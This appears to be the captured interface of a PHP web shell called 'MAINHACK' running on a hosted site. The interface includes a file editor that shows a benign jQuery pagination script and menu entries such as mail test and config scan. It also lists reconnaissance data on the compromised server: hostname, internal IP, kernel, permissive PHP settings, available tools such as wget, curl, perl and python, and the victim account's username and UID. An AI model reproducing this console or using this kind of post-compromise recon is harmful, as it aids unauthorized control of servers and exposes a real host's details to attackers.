[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: front.js
jQuery(document).ready(function () { var x = (jQuery(document).find(".paj").length>1)? true : false; if(x){ var parentPag = jQuery(document).find(".paj").parent(); var defValue=1,numPages= parentPag.children(".paj").length,pages=parentPag.children(".paj"),title=parentPag.children('h3'), current = 1; function init(){ parentPag.html(jQuery(pages.hide())); jQuery(pages).eq(0).show(); jQuery(pages).eq(0).before(title); jQuery("#prev").css("visibility","hidden"); jQuery(".paginationUl").show(); } function createPagination(){ for(var i=1;i<=numPages;i++){ var li = "<li value='"+i+"' class='item'> "+i+"</li>"; jQuery("#next").before(li); if(i==1) { jQuery(".paginationUl li.item").css({ "background-color":"#f44336", "color":"white" }); } } } function validation(val) { return val <= 0 || val > numPages ? false : true; } function setCurrent(val){ jQuery(pages).hide(); jQuery(".paginationUl li").css({ "background-color":"", "color":"" }); current=val; if(current!=1){ jQuery("#prev").css("visibility","visible"); } else { jQuery("#prev").css("visibility","hidden"); } if(current!=numPages){ jQuery("#next").css("visibility","visible"); } else { jQuery("#next").css("visibility","hidden"); } jQuery(".paginationUl li[value='"+current+"']").css({ "background-color":"#f44336", "color":"white" }); var counter = current; var currentDiv = jQuery(pages.get(--counter)); currentDiv.fadeIn("slow"); } init(); createPagination(); jQuery(document).on("click",".paginationUl li.item",function () { var currentValue = this.value; validation(currentValue); setCurrent(currentValue); }); jQuery(document).on("click","#prev,#next",function () { var copyCurrent = current; var currentValue = (this.id=="next")?++copyCurrent:--copyCurrent; if(validation(currentValue)){ setCurrent(currentValue); } }); } //Pagination });
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm010.cluster103.gra.hosting.ovh.net
Server IP: 10.103.20.10
PHP Version: 7.4.33
Server Software: Apache
System: Linux webm010.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: cuisinesj
User ID (UID): 17129
Group ID (GID): 100
Script Owner UID: 17129
Current Dir Owner: 17129